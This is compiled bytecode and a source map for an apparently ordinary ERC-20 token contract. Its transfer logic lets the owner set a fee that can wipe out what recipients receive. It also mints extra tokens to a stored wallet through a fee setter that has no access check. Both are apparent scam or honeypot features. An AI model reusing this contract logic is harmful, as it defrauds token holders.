0x608060405234801561001057600080fd5b506004361061014d5760003560e01c8063715018a6116100c3578063ab5a18871161007c578063ab5a1887146103a8578063b09f1266146103c4578063d28d8852146103e2578063d7666de614610400578063d8feb48e1461041c578063dd62ed3e146104385761014d565b8063715018a6146102e4578063893d20e8146102ee5780638da5cb5b1461030c57806395d89b411461032a578063a457c2d714610348578063a9059cbb146103785761014d565b8063313ce56711610115578063313ce5671461020c57806332424aa31461022a57806339509351146102485780633b124fe7146102785780636bc87c3a1461029657806370a08231146102b45761014d565b806306fdde0314610152578063095ea7b3146101705780631235acbe146101a057806318160ddd146101be57806323b872dd146101dc575b600080fd5b61015a610468565b6040516101679190611526565b60405180910390f35b61018a600480360381019061018591906115e1565b6104fa565b604051610197919061163c565b60405180910390f35b6101a8610518565b6040516101b59190611666565b60405180910390f35b6101c661053e565b6040516101d39190611690565b60405180910390f35b6101f660048036038101906101f191906116ab565b610548565b604051610203919061163c565b60405180910390f35b610214610621565b604051610221919061171a565b60405180910390f35b610232610638565b60405161023f919061171a565b60405180910390f35b610262600480360381019061025d91906115e1565b61064b565b60405161026f919061163c565b60405180910390f35b6102806106fe565b60405161028d9190611690565b60405180910390f35b61029e610704565b6040516102ab9190611690565b60405180910390f35b6102ce60048036038101906102c99190611735565b61070a565b6040516102db9190611690565b60405180910390f35b6102ec610753565b005b6102f66108a6565b6040516103039190611666565b60405180910390f35b6103146108b5565b6040516103219190611666565b60405180910390f35b6103326108de565b60405161033f9190611526565b60405180910390f35b610362600480360381019061035d91906115e1565b610970565b60405161036f919061163c565b60405180910390f35b610392600480360381019061038d91906115e1565b610a3d565b60405161039f919061163c565b60405180910390f35b6103c260048036038101906103bd9190611762565b610a5b565b005b6103cc610a65565b6040516103d99190611526565b60405180910390f35b6103ea610af3565b6040516103f79190611526565b60405180910390f35b61041a60048036038101906104159190611762565b610b81565b005b61043660048036038101906104319190611735565b610c20565b005b610452600480360381019061044d919061178f565b610cf9565b60405161045f9190611690565b60405180910390f35b606060068054610477906117fe565b80601f01602080910402602001604051908101604052809291908181526020018280546104a3906117fe565b80156104f05780601f106104c5576101008083540402835291602001916104f0565b820191906000526020600020905b8154815290600101906020018083116104d357829003601f168201915b5050505050905090565b600061050e610507610d80565b8484610d88565b6001905092915050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600354905090565b6000610555848484610f53565b61061684610561610d80565b61061185604051806060016040528060288152602001611cea60289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105c7610d80565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113819092919063ffffffff16565b610d88565b600190509392505050565b6000600460009054906101000a900460ff16905090565b600460009054906101000a900460ff1681565b60006106f4610658610d80565b846106ef8560026000610669610d80565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113e590919063ffffffff16565b610d88565b6001905092915050565b60085481565b600a5481565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61075b610d80565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107df9061187c565b60405180910390fd5b60008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3565b60006108b06108b5565b905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600580546108ed906117fe565b80601f0160208091040260200160405190810160405280929190818152602001828054610919906117fe565b80156109665780601f1061093b57610100808354040283529160200191610966565b820191906000526020600020905b81548152906001019060200180831161094957829003601f168201915b5050505050905090565b6000610a3361097d610d80565b84610a2e85604051806060016040528060258152602001611d1260259139600260006109a7610d80565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113819092919063ffffffff16565b610d88565b6001905092915050565b6000610a51610a4a610d80565b8484610f53565b6001905092915050565b8060088190555050565b60058054610a72906117fe565b80601f0160208091040260200160405190810160405280929190818152602001828054610a9e906117fe565b8015610aeb5780601f10610ac057610100808354040283529160200191610aeb565b820191906000526020600020905b815481529060010190602001808311610ace57829003601f168201915b505050505081565b60068054610b00906117fe565b80601f0160208091040260200160405190810160405280929190818152602001828054610b2c906117fe565b8015610b795780601f10610b4e57610100808354040283529160200191610b79565b820191906000526020600020905b815481529060010190602001808311610b5c57829003601f168201915b505050505081565b610b89610d80565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0d9061187c565b60405180910390fd5b80600a8190555050565b610c28610d80565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cb5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cac9061187c565b60405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610df8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610def9061190e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5f906119a0565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f469190611690565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fc3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fba90611a32565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611033576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102a90611ac4565b60405180910390fd5b61109f81604051806060016040528060268152602001611cc460269139600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113819092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061113481600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113e590919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111e2600a5460648361118a9190611b42565b6111949190611b73565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461144390919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506112b26008546064836112389190611b42565b6112429190611b73565b60016000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113e590919063ffffffff16565b60016000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516113749190611690565b60405180910390a3505050565b60008383111582906113c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c09190611526565b60405180910390fd5b50600083856113d89190611bcd565b9050809150509392505050565b60008082846113f49190611c01565b905083811015611439576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143090611ca3565b60405180910390fd5b8091505092915050565b600061148583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611381565b905092915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156114c75780820151818401526020810190506114ac565b838111156114d6576000848401525b50505050565b6000601f19601f8301169050919050565b60006114f88261148d565b6115028185611498565b93506115128185602086016114a9565b61151b816114dc565b840191505092915050565b6000602082019050818103600083015261154081846114ed565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006115788261154d565b9050919050565b6115888161156d565b811461159357600080fd5b50565b6000813590506115a58161157f565b92915050565b6000819050919050565b6115be816115ab565b81146115c957600080fd5b50565b6000813590506115db816115b5565b92915050565b600080604083850312156115f8576115f7611548565b5b600061160685828601611596565b9250506020611617858286016115cc565b9150509250929050565b60008115159050919050565b61163681611621565b82525050565b6000602082019050611651600083018461162d565b92915050565b6116608161156d565b82525050565b600060208201905061167b6000830184611657565b92915050565b61168a816115ab565b82525050565b60006020820190506116a56000830184611681565b92915050565b6000806000606084860312156116c4576116c3611548565b5b60006116d286828701611596565b93505060206116e386828701611596565b92505060406116f4868287016115cc565b9150509250925092565b600060ff82169050919050565b611714816116fe565b82525050565b600060208201905061172f600083018461170b565b92915050565b60006020828403121561174b5761174a611548565b5b600061175984828501611596565b91505092915050565b60006020828403121561177857611777611548565b5b6000611786848285016115cc565b91505092915050565b600080604083850312156117a6576117a5611548565b5b60006117b485828601611596565b92505060206117c585828601611596565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061181657607f821691505b6020821081141561182a576118296117cf565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611866602083611498565b915061187182611830565b602082019050919050565b6000602082019050818103600083015261189581611859565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006118f8602483611498565b91506119038261189c565b604082019050919050565b60006020820190508181036000830152611927816118eb565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061198a602283611498565b91506119958261192e565b604082019050919050565b600060208201905081810360008301526119b98161197d565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611a1c602583611498565b9150611a27826119c0565b604082019050919050565b60006020820190508181036000830152611a4b81611a0f565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611aae602383611498565b9150611ab982611a52565b604082019050919050565b60006020820190508181036000830152611add81611aa1565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611b4d826115ab565b9150611b58836115ab565b925082611b6857611b67611ae4565b5b828204905092915050565b6000611b7e826115ab565b9150611b89836115ab565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611bc257611bc1611b13565b5b828202905092915050565b6000611bd8826115ab565b9150611be3836115ab565b925082821015611bf657611bf5611b13565b5b828203905092915050565b6000611c0c826115ab565b9150611c17836115ab565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611c4c57611c4b611b13565b5b828201905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000611c8d601b83611498565b9150611c9882611c57565b602082019050919050565b60006020820190508181036000830152611cbc81611c80565b905091905056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212208c0effcb1ba0a108fe4d5b80f5b3685c0d0d3bfd40303f0c503d6449fd8d0c6364736f6c634300080a0033
Deployed Bytecode Sourcemap
10376:4746:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11741:96;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12680:153;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10697:25;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11893:104;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12839:301;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11435:96;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10620:22;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13146:200;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10988:26;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11071:32;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12051:123;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10217:148;;;:::i;:::-;;11280:96;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9914:79;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11588:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13354:251;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12368:159;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13616:93;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;10647:21;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10673:19;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13717:98;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;11112:108;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;12535:139;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11741:96;11797:13;11826:5;11819:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11741:96;:::o;12680:153::-;12757:4;12770:39;12779:12;:10;:12::i;:::-;12793:7;12802:6;12770:8;:39::i;:::-;12823:4;12816:11;;12680:153;;;;:::o;10697:25::-;;;;;;;;;;;;;:::o;11893:104::-;11956:7;11979:12;;11972:19;;11893:104;:::o;12839:301::-;12939:4;12952:36;12962:6;12970:9;12981:6;12952:9;:36::i;:::-;12995:121;13004:6;13012:12;:10;:12::i;:::-;13026:89;13064:6;13026:89;;;;;;;;;;;;;;;;;:11;:19;13038:6;13026:19;;;;;;;;;;;;;;;:33;13046:12;:10;:12::i;:::-;13026:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;12995:8;:121::i;:::-;13130:4;13123:11;;12839:301;;;;;:::o;11435:96::-;11495:5;11516:9;;;;;;;;;;;11509:16;;11435:96;:::o;10620:22::-;;;;;;;;;;;;;:::o;13146:200::-;13226:4;13239:83;13248:12;:10;:12::i;:::-;13262:7;13271:50;13310:10;13271:11;:25;13283:12;:10;:12::i;:::-;13271:25;;;;;;;;;;;;;;;:34;13297:7;13271:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;13239:8;:83::i;:::-;13336:4;13329:11;;13146:200;;;;:::o;10988:26::-;;;;:::o;11071:32::-;;;;:::o;12051:123::-;12127:7;12150:9;:18;12160:7;12150:18;;;;;;;;;;;;;;;;12143:25;;12051:123;;;:::o;10217:148::-;10136:12;:10;:12::i;:::-;10126:22;;:6;;;;;;;;;;:22;;;10118:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;10299:1:::1;10282:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;10354:1;10317:40;;10338:6;::::0;::::1;;;;;;;;10317:40;;;;;;;;;;;;10217:148::o:0;11280:96::-;11340:7;11363;:5;:7::i;:::-;11356:14;;11280:96;:::o;9914:79::-;9952:7;9979:6;;;;;;;;;;;9972:13;;9914:79;:::o;11588:100::-;11646:13;11675:7;11668:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11588:100;:::o;13354:251::-;13439:4;13452:129;13461:12;:10;:12::i;:::-;13475:7;13484:96;13523:15;13484:96;;;;;;;;;;;;;;;;;:11;:25;13496:12;:10;:12::i;:::-;13484:25;;;;;;;;;;;;;;;:34;13510:7;13484:34;;;;;;;;;;;;;;;;:38;;:96;;;;;:::i;:::-;13452:8;:129::i;:::-;13595:4;13588:11;;13354:251;;;;:::o;12368:159::-;12448:4;12461:42;12471:12;:10;:12::i;:::-;12485:9;12496:6;12461:9;:42::i;:::-;12517:4;12510:11;;12368:159;;;;:::o;13616:93::-;13695:6;13685:7;:16;;;;13616:93;:::o;10647:21::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;10673:19::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;13717:98::-;10136:12;:10;:12::i;:::-;10126:22;;:6;;;;;;;;;;:22;;;10118:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;13801:6:::1;13785:13;:22;;;;13717:98:::0;:::o;11112:108::-;10136:12;:10;:12::i;:::-;10126:22;;:6;;;;;;;;;;:22;;;10118:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;11200:12:::1;11187:10;;:25;;;;;;;;;;;;;;;;;;11112:108:::0;:::o;12535:139::-;12618:7;12641:11;:18;12653:5;12641:18;;;;;;;;;;;;;;;:27;12660:7;12641:27;;;;;;;;;;;;;;;;12634:34;;12535:139;;;;:::o;3677:98::-;3730:7;3757:10;3750:17;;3677:98;:::o;14799:320::-;14906:1;14889:19;;:5;:19;;;;14881:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;14983:1;14964:21;;:7;:21;;;;14956:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;15063:6;15033:11;:18;15045:5;15033:18;;;;;;;;;;;;;;;:27;15052:7;15033:27;;;;;;;;;;;;;;;:36;;;;15097:7;15081:32;;15090:5;15081:32;;;15106:6;15081:32;;;;;;:::i;:::-;;;;;;;;14799:320;;;:::o;13823:661::-;13947:1;13929:20;;:6;:20;;;;13921:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;14031:1;14010:23;;:9;:23;;;;14002:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;14106;14128:6;14106:71;;;;;;;;;;;;;;;;;:9;:17;14116:6;14106:17;;;;;;;;;;;;;;;;:21;;:71;;;;;:::i;:::-;14086:9;:17;14096:6;14086:17;;;;;;;;;;;;;;;:91;;;;14211:32;14236:6;14211:9;:20;14221:9;14211:20;;;;;;;;;;;;;;;;:24;;:32;;;;:::i;:::-;14188:9;:20;14198:9;14188:20;;;;;;;;;;;;;;;:55;;;;14277:54;14317:13;;14311:3;14302:6;:12;;;;:::i;:::-;:28;;;;:::i;:::-;14277:9;:20;14287:9;14277:20;;;;;;;;;;;;;;;;:24;;:54;;;;:::i;:::-;14254:9;:20;14264:9;14254:20;;;;;;;;;;;;;;;:77;;;;14366:49;14407:7;;14401:3;14392:6;:12;;;;:::i;:::-;:22;;;;:::i;:::-;14366:9;:21;14376:10;;;;;;;;;;;14366:21;;;;;;;;;;;;;;;;:25;;:49;;;;:::i;:::-;14342:9;:21;14352:10;;;;;;;;;;;14342:21;;;;;;;;;;;;;;;:73;;;;14448:9;14431:35;;14440:6;14431:35;;;14459:6;14431:35;;;;;;:::i;:::-;;;;;;;;13823:661;;;:::o;5543:178::-;5629:7;5658:1;5653;:6;;5661:12;5645:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;5681:9;5697:1;5693;:5;;;;:::i;:::-;5681:17;;5714:1;5707:8;;;5543:178;;;;;:::o;4716:167::-;4774:7;4790:9;4806:1;4802;:5;;;;:::i;:::-;4790:17;;4827:1;4822;:6;;4814:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;4876:1;4869:8;;;4716:167;;;;:::o;5138:130::-;5196:7;5219:43;5223:1;5226;5219:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;5212:50;;5138:130;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:307::-;355:1;365:113;379:6;376:1;373:13;365:113;;;464:1;459:3;455:11;449:18;445:1;440:3;436:11;429:39;401:2;398:1;394:10;389:15;;365:113;;;496:6;493:1;490:13;487:101;;;576:1;567:6;562:3;558:16;551:27;487:101;336:258;287:307;;;:::o;600:102::-;641:6;692:2;688:7;683:2;676:5;672:14;668:28;658:38;;600:102;;;:::o;708:364::-;796:3;824:39;857:5;824:39;:::i;:::-;879:71;943:6;938:3;879:71;:::i;:::-;872:78;;959:52;1004:6;999:3;992:4;985:5;981:16;959:52;:::i;:::-;1036:29;1058:6;1036:29;:::i;:::-;1031:3;1027:39;1020:46;;800:272;708:364;;;;:::o;1078:313::-;1191:4;1229:2;1218:9;1214:18;1206:26;;1278:9;1272:4;1268:20;1264:1;1253:9;1249:17;1242:47;1306:78;1379:4;1370:6;1306:78;:::i;:::-;1298:86;;1078:313;;;;:::o;1478:117::-;1587:1;1584;1577:12;1724:126;1761:7;1801:42;1794:5;1790:54;1779:65;;1724:126;;;:::o;1856:96::-;1893:7;1922:24;1940:5;1922:24;:::i;:::-;1911:35;;1856:96;;;:::o;1958:122::-;2031:24;2049:5;2031:24;:::i;:::-;2024:5;2021:35;2011:63;;2070:1;2067;2060:12;2011:63;1958:122;:::o;2086:139::-;2132:5;2170:6;2157:20;2148:29;;2186:33;2213:5;2186:33;:::i;:::-;2086:139;;;;:::o;2231:77::-;2268:7;2297:5;2286:16;;2231:77;;;:::o;2314:122::-;2387:24;2405:5;2387:24;:::i;:::-;2380:5;2377:35;2367:63;;2426:1;2423;2416:12;2367:63;2314:122;:::o;2442:139::-;2488:5;2526:6;2513:20;2504:29;;2542:33;2569:5;2542:33;:::i;:::-;2442:139;;;;:::o;2587:474::-;2655:6;2663;2712:2;2700:9;2691:7;2687:23;2683:32;2680:119;;;2718:79;;:::i;:::-;2680:119;2838:1;2863:53;2908:7;2899:6;2888:9;2884:22;2863:53;:::i;:::-;2853:63;;2809:117;2965:2;2991:53;3036:7;3027:6;3016:9;3012:22;2991:53;:::i;:::-;2981:63;;2936:118;2587:474;;;;;:::o;3067:90::-;3101:7;3144:5;3137:13;3130:21;3119:32;;3067:90;;;:::o;3163:109::-;3244:21;3259:5;3244:21;:::i;:::-;3239:3;3232:34;3163:109;;:::o;3278:210::-;3365:4;3403:2;3392:9;3388:18;3380:26;;3416:65;3478:1;3467:9;3463:17;3454:6;3416:65;:::i;:::-;3278:210;;;;:::o;3494:118::-;3581:24;3599:5;3581:24;:::i;:::-;3576:3;3569:37;3494:118;;:::o;3618:222::-;3711:4;3749:2;3738:9;3734:18;3726:26;;3762:71;3830:1;3819:9;3815:17;3806:6;3762:71;:::i;:::-;3618:222;;;;:::o;3846:118::-;3933:24;3951:5;3933:24;:::i;:::-;3928:3;3921:37;3846:118;;:::o;3970:222::-;4063:4;4101:2;4090:9;4086:18;4078:26;;4114:71;4182:1;4171:9;4167:17;4158:6;4114:71;:::i;:::-;3970:222;;;;:::o;4198:619::-;4275:6;4283;4291;4340:2;4328:9;4319:7;4315:23;4311:32;4308:119;;;4346:79;;:::i;:::-;4308:119;4466:1;4491:53;4536:7;4527:6;4516:9;4512:22;4491:53;:::i;:::-;4481:63;;4437:117;4593:2;4619:53;4664:7;4655:6;4644:9;4640:22;4619:53;:::i;:::-;4609:63;;4564:118;4721:2;4747:53;4792:7;4783:6;4772:9;4768:22;4747:53;:::i;:::-;4737:63;;4692:118;4198:619;;;;;:::o;4823:86::-;4858:7;4898:4;4891:5;4887:16;4876:27;;4823:86;;;:::o;4915:112::-;4998:22;5014:5;4998:22;:::i;:::-;4993:3;4986:35;4915:112;;:::o;5033:214::-;5122:4;5160:2;5149:9;5145:18;5137:26;;5173:67;5237:1;5226:9;5222:17;5213:6;5173:67;:::i;:::-;5033:214;;;;:::o;5253:329::-;5312:6;5361:2;5349:9;5340:7;5336:23;5332:32;5329:119;;;5367:79;;:::i;:::-;5329:119;5487:1;5512:53;5557:7;5548:6;5537:9;5533:22;5512:53;:::i;:::-;5502:63;;5458:117;5253:329;;;;:::o;5588:::-;5647:6;5696:2;5684:9;5675:7;5671:23;5667:32;5664:119;;;5702:79;;:::i;:::-;5664:119;5822:1;5847:53;5892:7;5883:6;5872:9;5868:22;5847:53;:::i;:::-;5837:63;;5793:117;5588:329;;;;:::o;5923:474::-;5991:6;5999;6048:2;6036:9;6027:7;6023:23;6019:32;6016:119;;;6054:79;;:::i;:::-;6016:119;6174:1;6199:53;6244:7;6235:6;6224:9;6220:22;6199:53;:::i;:::-;6189:63;;6145:117;6301:2;6327:53;6372:7;6363:6;6352:9;6348:22;6327:53;:::i;:::-;6317:63;;6272:118;5923:474;;;;;:::o;6403:180::-;6451:77;6448:1;6441:88;6548:4;6545:1;6538:15;6572:4;6569:1;6562:15;6589:320;6633:6;6670:1;6664:4;6660:12;6650:22;;6717:1;6711:4;6707:12;6738:18;6728:81;;6794:4;6786:6;6782:17;6772:27;;6728:81;6856:2;6848:6;6845:14;6825:18;6822:38;6819:84;;;6875:18;;:::i;:::-;6819:84;6640:269;6589:320;;;:::o;6915:182::-;7055:34;7051:1;7043:6;7039:14;7032:58;6915:182;:::o;7103:366::-;7245:3;7266:67;7330:2;7325:3;7266:67;:::i;:::-;7259:74;;7342:93;7431:3;7342:93;:::i;:::-;7460:2;7455:3;7451:12;7444:19;;7103:366;;;:::o;7475:419::-;7641:4;7679:2;7668:9;7664:18;7656:26;;7728:9;7722:4;7718:20;7714:1;7703:9;7699:17;7692:47;7756:131;7882:4;7756:131;:::i;:::-;7748:139;;7475:419;;;:::o;7900:223::-;8040:34;8036:1;8028:6;8024:14;8017:58;8109:6;8104:2;8096:6;8092:15;8085:31;7900:223;:::o;8129:366::-;8271:3;8292:67;8356:2;8351:3;8292:67;:::i;:::-;8285:74;;8368:93;8457:3;8368:93;:::i;:::-;8486:2;8481:3;8477:12;8470:19;;8129:366;;;:::o;8501:419::-;8667:4;8705:2;8694:9;8690:18;8682:26;;8754:9;8748:4;8744:20;8740:1;8729:9;8725:17;8718:47;8782:131;8908:4;8782:131;:::i;:::-;8774:139;;8501:419;;;:::o;8926:221::-;9066:34;9062:1;9054:6;9050:14;9043:58;9135:4;9130:2;9122:6;9118:15;9111:29;8926:221;:::o;9153:366::-;9295:3;9316:67;9380:2;9375:3;9316:67;:::i;:::-;9309:74;;9392:93;9481:3;9392:93;:::i;:::-;9510:2;9505:3;9501:12;9494:19;;9153:366;;;:::o;9525:419::-;9691:4;9729:2;9718:9;9714:18;9706:26;;9778:9;9772:4;9768:20;9764:1;9753:9;9749:17;9742:47;9806:131;9932:4;9806:131;:::i;:::-;9798:139;;9525:419;;;:::o;9950:224::-;10090:34;10086:1;10078:6;10074:14;10067:58;10159:7;10154:2;10146:6;10142:15;10135:32;9950:224;:::o;10180:366::-;10322:3;10343:67;10407:2;10402:3;10343:67;:::i;:::-;10336:74;;10419:93;10508:3;10419:93;:::i;:::-;10537:2;10532:3;10528:12;10521:19;;10180:366;;;:::o;10552:419::-;10718:4;10756:2;10745:9;10741:18;10733:26;;10805:9;10799:4;10795:20;10791:1;10780:9;10776:17;10769:47;10833:131;10959:4;10833:131;:::i;:::-;10825:139;;10552:419;;;:::o;10977:222::-;11117:34;11113:1;11105:6;11101:14;11094:58;11186:5;11181:2;11173:6;11169:15;